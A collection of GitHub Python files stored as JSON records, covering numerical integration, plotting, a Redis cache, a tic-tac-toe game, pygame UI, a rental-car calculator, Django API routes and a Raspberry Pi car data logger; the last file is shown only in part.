+{"seq_id":"33673287616","text":"from astropy.table import Table, Column\nimport matplotlib.pyplot as plt\nimport numpy as np \n\na=0\nb=2\nival=[]\nhval=[]\nno = []\nexact = []\nerror =[]\ndef calculate(n):\n\th=(b-a)/n\n\thval.append(h)\n\tA=0\n\tfor x in range(n):\n\t\tA=A+0.5*h*(1/(1+x*h*x*h) + 1/(1+(x*h+h)*(x*h+h)))\n\treturn(A)\n\nfor x in range(1,11):\n\tival.append(calculate(30*x))\n\n\nfor x in range(1,11):\n\tno.append(x)\n\texact.append(1.1071487177943273)\n# exact solution 1.1071487177943273\n\nfor x in range(10):\n\terror.append(abs(ival[x]-exact[x]))\n\nt = Table([no , hval, ival, exact , error], names=('No','h', 'IntegralApprox' , ' IntegralExact', 'Error'))\nprint(t)\n\nslope, intercept = np.polyfit(np.log(hval), np.log(error), 1)\nprint(\"\\n Slope of the log-log curve is: \",slope)\n\nplt.scatter(np.log(hval), np.log(error))\nplt.ylabel('log(h)', fontsize=16)\nplt.xlabel('log(error)', fontsize=16)\n# function to show the plot\nplt.show()\n","repo_name":"nimRobotics/CFD","sub_path":"A_1/A_1_P_5.py","file_name":"A_1_P_5.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"20349394811","text":"import matplotlib.pyplot as plt\nimport math\n\n# Change fonts to use LaTeX fonts\nfrom matplotlib import rc\nrc('text', usetex=True)\nrc('font', family='serif')\nrc('font', size='12')\n\ndef kinVis_T(T_degC):\n\tif T_degC < 5:\n\t\treturn 1000000*(-(4.63023776563*pow(10,-8))*(T_degC+273.15) + 1.44011135763*pow(10,-5))\n\telse:\n\t\treturn 1000000*(1.0*pow(10,-6)*math.exp(-(7.22111000000000*pow(10,-7))*pow((T_degC+273.15),3) + 0.000809102858950000*pow((T_degC+273.15),2) - 0.312920238272193*(T_degC+273.15) + 40.4003044106506))\n\n\nT_degC=range(101)\nkinVis = list()\nfor TC in T_degC:\n kinVis.append(kinVis_T(TC))\n\n# Plot figure\nfig = plt.figure(figsize=(6, 2))\nax = fig.add_subplot(111)\nax.plot(T_degC, kinVis)\nax.set_xlabel('$T \\, [\\mathrm{^\\circ C}]$')\nax.set_ylabel('$\\\\nu \\, [\\mathrm{mm^2/s}]$')\nax.grid(True)\n\n# The next line avoids the x-label to be cut off.\nplt.tight_layout(h_pad=1)\n\n# Save plot\nplt.savefig('plotkinVis.pdf')\nplt.savefig('plotkinVis.png')\n\nplt.show()\n","repo_name":"lbl-srg/modelica-buildings","sub_path":"Buildings/Resources/Images/Media/Water/plotkinVis.py","file_name":"plotkinVis.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":191,"dataset":"github-code","pt":"78"}
+{"seq_id":"24655162008","text":"\"\"\"\nCreated by Epic at 10/5/20\n\"\"\"\nfrom os import environ as env\nfrom redis import Redis\nimport json\n\nredis_client = Redis(host=\"redis\", db=env[\"REDIS_DB\"], password=env[\"REDIS_PASSWORD\"],\n username=env[\"REDIS_USERNAME\"])\n\n\nclass CacheElement:\n def __init__(self, key, *, expire: int = None):\n self.key = key\n self.expire = expire\n\n def set(self, value):\n encoded = json.dumps(value).encode(\"utf-8\")\n redis_client.set(self.key, encoded)\n if self.expire is not None:\n redis_client.expire(self.key, self.expire)\n\n def get(self):\n raw = redis_client.get(self.key)\n if raw is None:\n return None\n decoded = json.loads(raw.decode(\"utf-8\"))\n return decoded\n","repo_name":"battleshipbot/database-manager","sub_path":"cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"38109366478","text":"import logging\n\nfrom google.protobuf.json_format import MessageToDict, MessageToJson\n\nimport tictactoe_pb2\nfrom board import Board\n\nlogging.basicConfig()\nlogger = logging.getLogger(__file__)\n\n\nclass Game:\n \"\"\"Wrapper for game message\"\"\"\n\n TerminatedStates = [\n tictactoe_pb2.X_WIN,\n tictactoe_pb2.O_WIN,\n tictactoe_pb2.DRAW,\n ]\n\n Wins = [\n {0, 1, 2}, {3, 4, 5}, {6, 7, 8}, # rows\n {0, 3, 6}, {1, 4, 7}, {2, 5, 8}, # cols\n {0, 4, 8}, {6, 4, 2} # diagonal\n ]\n\n def __init__(self,\n board=None,\n last_player=tictactoe_pb2.EMPTY,\n game_state=tictactoe_pb2.WAITING_TO_START):\n if not board:\n self.board = Board()\n elif isinstance(board, Board):\n self.board = board\n else:\n self.board = Board.from_message(board)\n self.last_player = last_player\n self.game_state = game_state\n\n def __repr__(self):\n return self.board.__repr__() + '\\n\\n State: {}'.format(\n tictactoe_pb2.GameState.Name(self.game_state))\n\n def available_moves(self):\n return [i for i, tile in enumerate(self.board.tiles)\n if tile == tictactoe_pb2.EMPTY]\n\n def attemp_move(self, move):\n if move.tile_id not in self.available_moves():\n logger.warn('Move not in avialbale moves')\n elif self.game_state in Game.TerminatedStates:\n logger.warn('Attempted move in terminated state')\n else:\n self.board.tiles[move.tile_id] = move.player\n self.update_state()\n\n def update_state(self):\n if len(self.available_moves()) == self.board.ntiles:\n self.game_state = tictactoe_pb2.WAITING_TO_START\n elif self.check_if_player_has_won(tictactoe_pb2.X):\n self.game_state = tictactoe_pb2.X_WIN\n elif self.check_if_player_has_won(tictactoe_pb2.O):\n self.game_state = tictactoe_pb2.O_WIN\n elif len(self.available_moves()) == 0:\n self.game_state = tictactoe_pb2.DRAW\n else:\n self.game_state = tictactoe_pb2.RUNNING\n\n def check_if_player_has_won(self, player):\n player_tiles = set(tile_id\n for tile_id, tile in enumerate(self.board.tiles)\n if tile == player)\n if any(win.issubset(player_tiles) for win in self.Wins):\n logger.info('player {} has won'.format(\n tictactoe_pb2.TileState.Name(player)\n ))\n return True\n return False\n\n @property\n def game_message(self):\n return tictactoe_pb2.Game(\n board=self.board.board_message,\n last_player=self.last_player,\n game_state=self.game_state)\n\n @classmethod\n def from_message(cls, game_message):\n return cls(\n board=game_message.board,\n last_player=game_message.last_player,\n game_state=game_message.game_state)\n","repo_name":"simonwardjones/tic-tac-toe","sub_path":"tic_tac_toe/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"7704503608","text":"# coding: utf-8\n\n#import\nimport pygame\nimport math\nimport math\n\nclass Avatar :\n \"\"\"\n Load toutes les images pour le champ select\n \"\"\"\n def __init__(self, screen):\n\n \n\n self.background_champ_select = pygame.image.load(\"assets/pics/backgrounds_pics/background_champ_select.png\").convert_alpha()\n self.background_champ_select = pygame.transform.scale(self.background_champ_select, (screen.get_width(), screen.get_height()))\n\n self.avatar1_image = pygame.image.load(\"assets/avatars/avatar1/character_down.png\")\n self.avatar1_image = pygame.transform.scale(self.avatar1_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar1_image_rect = self.avatar1_image.get_rect()\n self.avatar1_image_rect.x = math.ceil(screen.get_width() / 15.6)\n self.avatar1_image_rect.y = screen.get_height() / 4.8\n\n self.avatar2_image = pygame.image.load(\"assets/avatars/avatar2/character_down.png\")\n self.avatar2_image = pygame.transform.scale(self.avatar2_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar2_image_rect = self.avatar2_image.get_rect()\n self.avatar2_image_rect.x = math.ceil(screen.get_width() / 3.33)\n self.avatar2_image_rect.y = self.avatar1_image_rect.y\n\n self.avatar3_image = pygame.image.load(\"assets/avatars/avatar3/character_down.png\")\n self.avatar3_image = pygame.transform.scale(self.avatar3_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar3_image_rect = self.avatar3_image.get_rect()\n self.avatar3_image_rect.x = math.ceil(screen.get_width() / 1.88)\n self.avatar3_image_rect.y = self.avatar1_image_rect.y\n\n self.avatar4_image = pygame.image.load(\"assets/avatars/avatar4/character_down.png\")\n self.avatar4_image = pygame.transform.scale(self.avatar4_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar4_image_rect = self.avatar4_image.get_rect()\n self.avatar4_image_rect.x = math.ceil(screen.get_width() / 1.3)\n self.avatar4_image_rect.y = self.avatar1_image_rect.y\n\n self.avatar5_image = pygame.image.load(\"assets/avatars/avatar5/character_down.png\")\n self.avatar5_image = pygame.transform.scale(self.avatar5_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar5_image_rect = self.avatar5_image.get_rect()\n self.avatar5_image_rect.x = math.ceil(screen.get_width() / 15.6)\n self.avatar5_image_rect.y = screen.get_height() / 1.78\n\n self.avatar6_image = pygame.image.load(\"assets/avatars/avatar6/character_down.png\")\n self.avatar6_image = pygame.transform.scale(self.avatar6_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar6_image_rect = self.avatar6_image.get_rect()\n self.avatar6_image_rect.x = math.ceil(screen.get_width() / 3.33)\n self.avatar6_image_rect.y = self.avatar5_image_rect.y\n\n self.avatar7_image = pygame.image.load(\"assets/avatars/avatar7/character_down.png\")\n self.avatar7_image = pygame.transform.scale(self.avatar7_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar7_image_rect = self.avatar7_image.get_rect()\n self.avatar7_image_rect.x = math.ceil(screen.get_width() / 1.88)\n self.avatar7_image_rect.y = self.avatar5_image_rect.y\n\n self.avatar8_image = pygame.image.load(\"assets/avatars/avatar8/character_down.png\")\n self.avatar8_image = pygame.transform.scale(self.avatar8_image, (math.ceil(screen.get_height() / 4), math.ceil(screen.get_width() / 6)))\n self.avatar8_image_rect = self.avatar8_image.get_rect()\n self.avatar8_image_rect.x = math.ceil(screen.get_width() / 1.3)\n self.avatar8_image_rect.y = self.avatar5_image_rect.y\n\n self.button = pygame.image.load(\"assets/pics/buttons_pics/button_champ.png\").convert_alpha()\n self.button = pygame.transform.scale(self.button, (math.ceil(screen.get_height() / 2), math.ceil(screen.get_width() / 18 )))\n self.button_rect = self.button.get_rect()\n self.button_rect.x = math.ceil(screen.get_width() / 2 - self.button.get_width() / 2)\n self.button_rect.y = math.ceil(screen.get_height() / 1.15)\n\n self.list_rect_avatar = [self.avatar1_image_rect, self.avatar2_image_rect, self.avatar3_image_rect, self.avatar4_image_rect, self.avatar5_image_rect, self.avatar6_image_rect, self.avatar7_image_rect, self.avatar8_image_rect]\n \n\n def update(self, screen) :\n \"\"\"\n Alors oui j'aurais pu tout mettre dans une liste, mais flemme de changer\n \"\"\"\n screen.blit(self.avatar1_image, self.avatar1_image_rect)\n screen.blit(self.avatar2_image, self.avatar2_image_rect)\n screen.blit(self.avatar3_image, self.avatar3_image_rect)\n screen.blit(self.avatar4_image, self.avatar4_image_rect)\n screen.blit(self.avatar5_image, self.avatar5_image_rect)\n screen.blit(self.avatar6_image, self.avatar6_image_rect)\n screen.blit(self.avatar7_image, self.avatar7_image_rect)\n screen.blit(self.avatar8_image, self.avatar8_image_rect)\n screen.blit(self.button, self.button_rect)\n","repo_name":"Hidorion/Projet12","sub_path":"core/avatar_selection/avatar_selection.py","file_name":"avatar_selection.py","file_ext":"py","file_size_in_byte":5354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"72264122173","text":"import requests\nimport gzip\n\n\ndef upload_data():\n url = 'http://localhost/cloud/upload.php'\n myfile = '/tmp/testfile.txt'\n\n with open(myfile, 'rb') as f:\n content = f.read()\n\n paylod = {'content': content, 'submit': 'SUBMIT', 'source_server': 'deehisd021ccpr1',\n 'file_name': 'deehisd021ccpr1_scan_2018-12-27.tar.gz'}\n r = requests.post(url=url, data=paylod)\n\n print(r.text)\n","repo_name":"eddytion/scripts","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29370844988","text":"import sys\n''\n\n##Collect Customer Data - Part 1\n\nrentalCode = input(\"(B)udget, (D)aily, or (W)eekly rental?\\n\") #Set rental code variable using =, and then allowing for user input using input().\nif rentalCode == 'B' or rentalCode == 'D': #Began a conditional statement to allow for three different inputs. The == means equal to.\n rentalPeriod = int(input(\"Number of Days Rented:\\n\")) #If the user enters B or D, the rentalPeriod will show the user \"Number of Days Rented:\" and then the integer they enter.\nelse:\n rentalPeriod = int(input(\"Number of Weeks Rented:\\n\")) #If the user enters W, the rentalPeriod will show the user \"Number of Weeks Rented:\" and then the integer they enter.\n#print(rentalCode) #Commented out old print statements.\n#print(rentalPeriod)\n\ndaysRented = rentalPeriod #set daysRented variable.\n\n#print('Number of Days Rented:') #Commented out old print statements.\n#rentalCode = 'D' #Commented out old variable that allowed the previous program to run.\n#print(rentalCode)\n\nbudgetCharge = 40.00 #Set charge variables, which are essential values for the math portion.\ndailyCharge = 60.00\nweeklyCharge = 190.00\n\n##Collect Customer Data - Part 2\n\nodoStart = input(\"Starting Odometer Reading:\\n\") #Set odometer variables. The user can input() their integer after seeing \"Starting Odometer Reading:\" on their screen.\nodoEnd = input(\"Ending Odometer Reading:\\n\") #Again, the string combined with an input allows a user to read whichever string I write, and then enter an answer.\ntotalMiles = int(odoEnd) - int(odoStart) #Since the odometer's end value will be higher than the odometer's start value, the odoEnd must be subtracted from the odoStart. The int() tells Python that the output should and will be an integer.\n#print(odoStart) #Commented out old print statements that allowed this portion of code to test.\n#print(odoEnd)\n#print(totalMiles)\n\n##Calculations\nif rentalCode == 'B': #This conditional statement tells Python that if B was previously entered as the rentalCode, do the following:\n baseCharge = rentalPeriod * budgetCharge #Set a new value (baseCharge) that multiplies the rentalPeriod by the budgetCharge if the rentalCode is B.\nelif rentalCode == 'D': #This conditional statement tells Python that if D was entered as the rentalCode, do the following:\n baseCharge = rentalPeriod * dailyCharge #If D is the rentalCode, the baseCharge variable will multiply the rentalPeriod by the dailyCharge, which looks like this: baseCharge = 5 * 60.00 (300)\nelse:\n baseCharge = rentalPeriod * weeklyCharge #The else statement is used instead of writing rentalCode == 'W' because it is now the only option left, which Python can figure out on its own. If W, the rentalPeriod is multiplied by the weeklyCharge.\n#print(\"{0:.2f}\".format(baseCharge)) #Commented out old formatted print statement.\n\nif rentalCode == 'B': #This conditional statement goes into more detail when concering the calculations. If B is the rentalCode chosen, then:\n mileCharge = totalMiles * 0.25 #The mileCharge variable will be the totalMiles multiplied by 0.25. totalMiles(2222-1234) * 0.25 = mileCharge(247)\n\nif rentalCode == 'D': #If the rentalCode entered is D, then this is the calculation Python will execute:\n averageDayMiles = totalMiles/rentalPeriod #The averageDayMiles variable will divide totalMiles by the rentalPeriod. In this case it is 988/5 = 197.6\n\n if averageDayMiles <= 100: #This nested if statement applies to the if statement above, but cannot be executed until the previous calculation is done. If the previous calculation for averageDayMiles is less than 100, then:\n mileCharge = 0 #The mileCharge is 0. \n elif averageDayMiles > 100: #Else if the averageDayMiles calculation is greater than 100 then: \n extraMiles = averageDayMiles - 100 #An extraMiles variable is created to subtract 100 from averageDayMiles, like so: 197.6 - 100 = 97.6\n mileCharge = extraMiles * 0.25 #The mileCharge variable (instead of just being 0) multiplies the extraMiles by 0.25. It looks like this: 97.6 * 0.25 = 24.4\n \nif rentalCode =='W': #If rentalCode is equal to W then:\n averageWeekMiles = totalMiles/rentalPeriod #The averageWeekMiles variable will divide totalMiles by the rentalPeriod.\n\n if averageWeekMiles <= 900: #Once the totalMiles and rental period have been divided, Python must determine if the quotient is less than or greater than 900.\n mileCharge = 0 #If it is less than 900, mileCharge is 0.\n elif averageWeekMiles > 900: #If it is greater than 900, mileCharge is the rentalPeriod divided by 100.00.\n mileCharge = rentalPeriod * 100.00\n\n#print(\"{0:.2f}\".format(mileCharge))\n\namtDue = baseCharge + mileCharge #The amtDue variable is set for all conditional statements, which is the baseCharge plus the mileCharge: 300 + 24.4 = 324.4\n\nprint('Rental Summary') #All print statments are placed at the end so they are easy to find and read. Well organized code is better than confusing code!\nprint('Rental Code: ' + str(rentalCode)) #Most of the print satements require the combination of a string and a defined variable, hence the + and str().\nprint('Rental Period: ' + str(rentalPeriod))\nprint('Starting Odometer: ' + str(odoStart))\nprint('Ending Odometer: ' + str(odoEnd))\nprint('Miles Driven: ' + str(totalMiles))\nprint('Amount Due: ' + '${:,.2f}'.format(amtDue)) #{:,.2f} \"Format float 2 decimal places\" (M, 2020). \n\n#M. (2020, May 13). Python String Format Cookbook. Retrieved May 21, 2020, from https://mkaz.blog/code/python-string-format-cookbook/","repo_name":"BrittFaye/Python-Projects","sub_path":"RentalCar.py","file_name":"RentalCar.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3437259769","text":"from django.urls import path, re_path\n\nfrom api.views import (\n # post\n PostListAPIView,\n PostCreateAPIView,\n PostDetailAPIView,\n PostMarkAPIView,\n PostRandomMarkAPIView,\n # user\n UserCreateAPIView,\n UserLoginAPIView,\n)\n\nfrom rest_framework_jwt.views import obtain_jwt_token, verify_jwt_token\n\napp_name = 'api'\n\nurlpatterns = [\n # post\n path('post/list/', PostListAPIView.as_view(), name='post-list'),\n path('post/create/', PostCreateAPIView.as_view(), name='post-create'),\n re_path('post/random/(?P[\\w-]+)/$', PostRandomMarkAPIView.as_view(), name='post-random-mark'),\n re_path('post/(?P[0-9]+)/$', PostDetailAPIView.as_view(), name='post-detail'),\n re_path('post/(?P[0-9]+)/(?P[\\w-]+)/$', PostMarkAPIView.as_view(), name='post-mark'),\n\n # user\n path('user/login/', UserLoginAPIView.as_view(), name='user-login'),\n path('user/register/', UserCreateAPIView.as_view(), name='user-register'),\n path('user/token/', obtain_jwt_token, name='token_obtain_pair'),\n path('user/token-verify/', verify_jwt_token),\n]\n\n\n'''\ncurl -X POST -d \"username=AutoBot0&password=autobotpasswordcommon\" http://127.0.0.1:8000/api/user/token/\n\n\n\ncurl -H \"Authorization: JWT \" http://127.0.0.1:8000/api/post/list/\n\ncurl -X POST -H \"Authorization: JWT \" -H \"Content-Type: application/json\" -d '{\"content\":\"some post test\", \"title\": \"OpaTest\"}' 'http://127.0.0.1:8000/api/post/create/'\n\ncurl http://127.0.0.1:8000/api/post/list/\n\ncurl -X POST -d \"username=admin&password=123123abc\" http://127.0.0.1:8000/api/user/token/\n\n\n\ncurl -X POST -H \"Authorization: JWT \" -H \"Content-Type: application/json\" -d '{\"content\":\"new post test\", \"title\": \"WowTest\"}' 'http://127.0.0.1:8000/api/post/create/'\n\n'''\n","repo_name":"tamkovich/REST-API-USERS-POST","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"39138573926","text":"#!/usr/bin/python3\n\nimport sys, os\n\nimport time\nimport datetime\nimport picamera\nimport picamera.array\nimport numpy as np\nimport serial\nimport argparse\nimport RPi.GPIO as GPIO\nimport subprocess \nfrom subprocess import call\nimport shutil\n\nimport logging\nlogging.basicConfig(filename='/tmp/ottoMicroLogger.log',level=logging.DEBUG)\nlogging.debug( '\\n\\n new session \\n' )\n\n# for call USB stick functions\n# import ottoUSBdriveFunctions as USBfunct\n\n# -------- New Power On/Off functionality --------- \n\n# 1- User holds boot switch in ON position which energizes power relay coil ( power LED remains unlit )\n# 2- Relay contacts close supplying 5 volts to Pi.\n# 3- Pi boots, executes service program which also energizes relay coil\n# 4- Pi turns on power LED to indicate to user that the Pi is under control\n# 5- User releases toggle switch, but Pi has already latched relay contacts closed so it remains powered\n# 6- Program continues to execute until user flips power off switch telling Pi to shut it down\n\n#\tCONSTANTS are in ALL CAPS\n\n# -------- GPIO pin numbers for ottoMicro Car --------- \nLED_read_from_USBdrive = 2\nLED_save_to_USBdrive = 3\nLED_collect_data = 4\nLED_autonomous = 17\nLED_shutdown_RPi = 27\nLED_boot_RPi = 22\n\nSWITCH_collect_data = 10\nSWITCH_save_to_USBdrive = 9\nSWITCH_read_from_USBdrive = 11\nSWITCH_autonomous = 5\nSWITCH_shutdown_RPi = 6\n# SWITCH_boot_RPi -> daughter board relay coil\n\nOUTPUT_to_relay = 13\n\n# -------- Switch constants --------- \n# switch position-UP connects GPIO pin to GROUND, \n# thus internal pull up resistors are used \n# and LOW and HIGH signals are opposite to usual ON and OFF conventions\nSWITCH_UP = GPIO.LOW\t\t# LOW signal on GPIO pin means switch is in up position\t\t\nSWITCH_DOWN = GPIO.HIGH\t\t# HIGH signal on GPIO pin means switch is in down position\n\n# -------- LED state constants --------- \nLED_ON = GPIO.HIGH\nLED_OFF = GPIO.LOW\n\n# -------- Relay state constants --------- \nRELAY_ON = GPIO.HIGH\nRELAY_OFF = GPIO.LOW\n\n# --------Old Data Collection Command Line Startup Code--------- \ntime_format='%Y-%m-%d_%H-%M-%S'\n\n#\t**** fubarino not connected yet for debugging purposes ****\n#\tOpens serial port to the arduino:\ntry:\n\tser=serial.Serial('/dev/ttyACM0')\n\tlogging.debug( 'opened serial port' )\n\t\nexcept Exception as the_bad_news:\t\t\t\t\n\thandle_exception( the_bad_news ) \n\t\n\n# -------------- Data Collector Object ------------------------------- \n\nNUM_FRAMES = 100\n\nclass DataCollector(object):\n\t'''this object is passed to the camera.start_recording function, which will treat it as a \n\twritable object, like a stream or a file'''\n\tdef __init__(self):\n\t\tself.imgs=np.zeros((NUM_FRAMES, 96, 128, 3), dtype=np.uint8) #we put the images in here\n\t\tself.IMUdata=np.zeros((NUM_FRAMES, 7), dtype=np.float32) #we put the imu data in here\n\t\tself.RCcommands=np.zeros((NUM_FRAMES, 2), dtype=np.float16) #we put the RC data in here\n\t\tself.idx=0 # this is the variable to keep track of number of frames per datafile\n\t\tnowtime=datetime.datetime.now()\n\n\t\t\n\t\tnot_done_searching_for_a_free_folder = True\n\t\tfolder_index = 0\n\t\tfolder_index_limit = 20\n\t\tpath = '/home/pi/autonomous/data/collected_data'\n\t\t\n\t\twhile( not_done_searching_for_a_free_folder ):\n\t\t\tpath_with_index = path + str( folder_index )\n\t\t\t\n\t\t\tif( os.path.exists( path_with_index )):\n\t\t\t\tlogging.debug( path_with_index + ' already exists on USB drive' )\n\t\t\t\tfolder_index = folder_index + 1\n\t\t\t\tif( folder_index > folder_index_limit ):\n\t\t\t\t\traise Exception( 'data folder index on USB drive exceeds limit' )\n\t\t\telse:\n\t\t\t\tnot_done_searching_for_a_free_folder = False\n\t\t\t\t\n\t\tos.makedirs( path_with_index )\t\t\t\t\n\t\tlogging.debug( 'collected data path = ' + path_with_index )\n\t\tself.img_file = path_with_index + '/imgs_{0}'.format(nowtime.strftime(time_format))\n\t\tself.IMUdata_file = path_with_index + '/IMU_{0}'.format(nowtime.strftime(time_format))\n\t\tself.RCcommands_file = path_with_index + '/commands_{0}'.format(nowtime.strftime(time_format))\n\n\tdef write(self, s):\n\t\t'''this is the function that is called every time the PiCamera has a new frame'''\n\t\timdata=np.reshape(np.fromstring(s, dtype=np.uint8), (96, 128, 3), 'C')\n\t\t#now we read from the serial port and format and save the data:\n\t\ttry:\n\t\t\tser.flushInput()\n\t\t\tdatainput=ser.readline()\n\t\t\tdata=list(map(float,str(datainput,'ascii').split(','))) #formats line of data into array\n#\t\t\tlogging.debug( data )\n#\t\t\tlogging.debug( 'got cereal\\n' )\n\n\t\texcept:\n\t\t\traise Exception( 11, 'exception in data collection write' )\n\t\t\treturn \n\t\t\t\n\t\t#Note: the data from the IMU requires some processing which does not happen here:\n\t\tself.imgs[self.idx]=imdata\n\t\taccelData=np.array([data[0], data[1], data[2]], dtype=np.float32)\n\t\tgyroData=np.array([data[3], data[4], data[5]], )\n\t\tdatatime=np.array([int(data[6])], dtype=np.float32)\n\t\tsteer_command=int(data[7])\n\t\tgas_command=int(data[8])\n\t\tself.IMUdata[self.idx]=np.concatenate((accelData, gyroData, datatime))\n\t\tself.RCcommands[self.idx]=np.array([steer_command, gas_command])\n\t\tself.idx+=1\n\t\t\t\n\t\tif ((self.idx % 20 ) == 0 ): \t# blink the LED everytime 20 frames are recorded\n\t\t\tturn_OFF_LED( LED_collect_data )\n\t\t\ttime.sleep( .2)\n\t\t\tturn_ON_LED( LED_collect_data )\n\n\t\tif self.idx == NUM_FRAMES: #default value is 100, unless user specifies otherwise\n\t\t\tself.idx=0\n\t\t\tself.flush() \n\t\t\t\n\n\tdef flush(self):\n\t\t'''this function is called every time the PiCamera stops recording'''\n\t\tnp.savez(self.img_file, self.imgs)\n\t\tnp.savez(self.IMUdata_file, self.IMUdata)\n\t\tnp.savez(self.RCcommands_file, self.RCcommands)\n\t\t#this new image file name is for the next chunk of data, which starts recording now\n\t\tnowtime=datetime.datetime.now()\n\t\tself.img_file='/home/pi/autonomous/data/imgs_{0}'.format(nowtime.strftime(time_format))\n\t\tself.IMUdata_file='/home/pi/autonomous/data/IMU_{0}'.format(nowtime.strftime(time_format))\n\t\tself.RCcommands_file='/home/pi/autonomous/data/commands_{0}'.format(nowtime.strftime(time_format))\n\t\tself.imgs[:]=0\n\t\tself.IMUdata[:]=0\n\t\tself.RCcommands[:]=0\n\t\tlogging.debug( 'OK: camera flush')\n\t\t\n\t\t\n\t\t\n# -------------- Global Variables -------------------------------\n# -------- note: global variables start with a little \"g\" --------- \n\ng_Wants_To_See_Video = True\ng_Camera_Is_Recording = False\ng_Recorded_Data_Not_Saved = False\ng_No_Callback_Function_Running = True\ng_Current_Exception_Not_Finished = False\ng_collector=DataCollector()\ng_camera = picamera.PiCamera()\n#\tNote: these are just parameters to set up the camera, so the order is not important\n\ng_camera.resolution=(128, 96) #final image size\n\n# g_camera.zoom=(.125, 0, .875, 1) #crop so aspect ratio is 1:1\ng_camera.framerate=10 #<---- framerate (fps) determines speed of data recording\n\n\n# -------- Switch / Button use cheatsheet --------- \n#\n# Switch / Button\t\tSTATE\t\tMEANING\n# --------------------------------------------------------------\n# SWITCH_boot_RPi\t\tup\t\tEnergize power relay to Pi -> Boot Pi\t\t\n#\t\t\t\tdown\t\tnormal RPi operation\n#\n# SWITCH_shutdown_RPi\t\tmomentary up\tTried to shutdown Pi, if Data folder unsaved, blink all LEDs as warning\n#\t\t\t\t\t\totherwise go through normal shutdown\n#\tafter warning LEDs blinking:\t\t\t\t\t\n#\t\t\t\tup, but not held\tgo back to normal RPi operation\n#\t\t\t\tup, and held\tgo through shutdown without saving Data folder\n#\n# SWITCH_autonomous\t\tup\t\tPut car in autonomous mode\n#\t\t\t\tdown\t\tnormal RPi operation\n#\n# SWITCH_collect_data\t\tup\t\tStart collecting data\n#\t\t\t\tdown\t\tStop collection data if doing that\t\t\n#\n# SWITCH_save_to_USBdrive\tmomentary up\tCopy collected data to USB drive\n#\t\t\t\tdown\t\tnormal RPi operation\n#\n# SWITCH_read_from_USBdrive\tmomentary up\tRead training data to from USB drive\n#\t\t\t\tdown\t\tnormal RPi operation\n#\n\n# -------- LED status cheatsheet --------- \n#\ton startup:\n# autonomous LED blinking on startup\t\t\tautonomous switch was left in the up position\n# collect data LED blinking on startup\t\t\tcollect data switch was left in the up position\n\n#\tin normal operation:\n# all LEDs blinking\t\t\t\t\tTried to shutdown without first saving Data folder\n# read and save LEDs blinking together\t\t\tUSB drive not mounted - insert or remove and insert USB drive\n\n# -------- LED functions to make code clearer --------- \ndef turn_ON_LED( which_LED ):\n\tGPIO.output( which_LED, LED_ON )\n\ndef turn_OFF_LED( which_LED ):\n\tGPIO.output( which_LED, LED_OFF )\t\n\t\n\n\ndef at_least_one_switch_is_up():\n\tif(( GPIO.input( SWITCH_save_to_USBdrive ) == SWITCH_UP ) or ( GPIO.input( SWITCH_autonomous ) == SWITCH_UP )\n\t\t\tor ( GPIO.input( SWITCH_read_from_USBdrive ) == SWITCH_UP ) or ( GPIO.input( SWITCH_shutdown_RPi ) == SWITCH_UP )\n\t\t\tor ( GPIO.input( SWITCH_collect_data ) == SWITCH_UP )):\t\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\ndef all_switches_are_down():\n\tif( at_least_one_switch_is_up()):\n\t\treturn False\n\telse:\n\t\treturn True\n\t\t\t\t\n# -------- Handler for clearing all switch errors --------- \ndef handle_exception( the_bad_news ):\n\tglobal g_Current_Exception_Not_Finished\n\n\tif( g_Current_Exception_Not_Finished ):\n\t\tlogging.debug( '*** another exception occurred, last exception not finished' )\t\t\n\telse: \n\t\tlogging.debug( '\\n' )\t\t\n\t\tlogging.debug( '*** Exception occurred' )\t\t\n\t\tg_Current_Exception_Not_Finished = True\n\t\tif( len(the_bad_news.args) == 1 ):\t\t# one argument exceptions are unforeseen \n\t\t\terror_number = 15\n\t\t\tmessage = the_bad_news.args[0]\n\t\t\tlogging.debug( str(the_bad_news.args[0]))\n\t\t\t\n\t\t\texc_type, exc_obj, exc_tb = sys.exc_info()\n\t\t\tlogging.debug(' line number = ' + str(exc_tb.tb_lineno))\n\t\telse:\t\t\t\t\t# two argument exceptions are previously setup to be handled\n\t\t\terror_number = the_bad_news.args[0]\n\t\t\tmessage = the_bad_news.args[1]\t\t\t\n\t\t\tlogging.debug( 'error number = ' + str(the_bad_news.args[0]) + ': ' + str(the_bad_news.args[1]))\n\t\t\t\n\t\tblinkSpeed = .2\n\t\tswitch_on_count = 3\n\t\t\n\t\t# blink the error number in the LEDs until the user holds down the button for 3 seconds\n\t\tLED_state = LED_ON\n\t\terror_not_cleared = True\n\t\tif( error_number > 31 ):\t# bigger than this, we've run out of LEDs\n\t\t\terror_number = 31\n\t\t\t\n\t\twhile( error_not_cleared ):\t\n\t\t\tif( 